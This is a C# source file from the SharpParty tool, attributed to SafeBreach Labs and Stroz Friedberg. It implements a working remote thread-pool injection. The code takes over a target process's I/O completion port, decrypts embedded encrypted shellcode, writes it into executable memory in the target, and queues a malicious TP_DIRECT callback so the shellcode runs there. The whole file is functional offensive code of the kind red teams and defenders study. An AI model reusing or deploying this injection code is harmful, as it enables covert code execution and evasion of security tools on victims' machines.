/** * BSD 3-Clause License * Copyright (c) 2023-2024, SafeBreach Labs * Copyright (c) 2025, Stroz Friedberg * All rights reserved. * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * 1. Redistributions of source code must retain the above copyright notice, this * list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * 3. Neither the name of the copyright holder nor the names of its * contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ using System; using System.Collections.Generic; using System.Linq; using System.Runtime.InteropServices; using System.Text; using System.Threading.Tasks; using static SharpParty.Structs; using static SharpParty.Win32; using static SharpParty.HelperFuncs; using static SharpParty.Constants; namespace SharpParty { internal class RemoteTpDirectInsertion { public static unsafe void Run(IntPtr tProcHandle) { IntPtr tIoCompletionHandle = HijackTargetHandle(tProcHandle, "IoCompletion"); if (tIoCompletionHandle == IntPtr.Zero) { Console.WriteLine("[-] Failed to get a handle to target process' I/O Completion Queue (Port)."); return; } Console.WriteLine("[+] Obtained handle to target process' I/O completion queue: (0x{0:X16})", tIoCompletionHandle.ToInt64()); byte[] sc = aesDecrypt(ENC_SC, Convert.FromBase64String(DEC_KEY)); uint scSize = (uint)sc.Length; IntPtr scAddr = VirtualAllocEx(tProcHandle, IntPtr.Zero, scSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (scAddr == IntPtr.Zero) { Console.WriteLine("[-] Failed to allocate shellcode memory."); int win32Err = Marshal.GetLastWin32Error(); Console.WriteLine("[-] Win32 Error = 0x{0:X16}", win32Err); return; } Console.WriteLine("[+] Allocated shellcode memory in target process: 0x{0:X16}", scAddr.ToInt64()); IntPtr bytesWritten = IntPtr.Zero; bool writeRes; fixed (byte* p = sc) { IntPtr ptr = (IntPtr)p; writeRes = WriteProcessMemory(tProcHandle, scAddr, ptr, scSize, out bytesWritten); } if (!writeRes) { Console.WriteLine("[-] Failed to write shellcode to allocated memory."); int win32Err = Marshal.GetLastWin32Error(); Console.WriteLine("[-] Win32 Error = 0x{0:X16}", win32Err); return; } Console.WriteLine("[+] Successfully wrote shellcode to allocated memory in target process. (bytesWritten = " + bytesWritten + ")"); IntPtr directPtr = Marshal.AllocHGlobal(sizeof(_TP_DIRECT)); _TP_DIRECT* direct = (_TP_DIRECT*)directPtr; direct->Callback = scAddr; IntPtr remoteDirectAddress = VirtualAllocEx(tProcHandle, IntPtr.Zero, (uint)sizeof(_TP_DIRECT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (remoteDirectAddress == IntPtr.Zero) { Console.WriteLine("[-] Failed to allocate memory for malicious TP_DIRECT in target process."); int win32Err = Marshal.GetLastWin32Error(); Console.WriteLine("[-] Win32 Error = 0x{0:X16}", win32Err); Marshal.FreeHGlobal(directPtr); return; } Console.WriteLine("[+] Allocated memory for malicious TP_DIRECT in target process: 0x{0:X16}", remoteDirectAddress.ToInt64()); IntPtr directBytesWritten = IntPtr.Zero; bool writeDirectRes = WriteProcessMemory(tProcHandle, remoteDirectAddress, directPtr, (uint)sizeof(_TP_DIRECT), out directBytesWritten); if (!writeDirectRes) { Console.WriteLine("[-] Failed to write malicious TP_DIRECT to allocated memory in target process."); int win32Err = Marshal.GetLastWin32Error(); Console.WriteLine("[-] Win32 Error = 0x{0:X16}", win32Err); Marshal.FreeHGlobal(directPtr); return; } Console.WriteLine("[+] Successfully wrote malicious TP_DIRECT to allocated memory in target process."); uint setStatus = ZwSetIoCompletion(tIoCompletionHandle, remoteDirectAddress, IntPtr.Zero, 0, IntPtr.Zero); if (setStatus != 0) { Console.WriteLine("[-] Failed to queue the injected TP_DIRECT to the target process' I/O Completion Queue."); int win32Err = Marshal.GetLastWin32Error(); Console.WriteLine("[-] Win32 Error = 0x{0:X16}", win32Err); Marshal.FreeHGlobal(directPtr); return; } Console.WriteLine("[+] Successfully queued the malicious TP_DIRECT to the target process' I/O Completion Queue."); } } }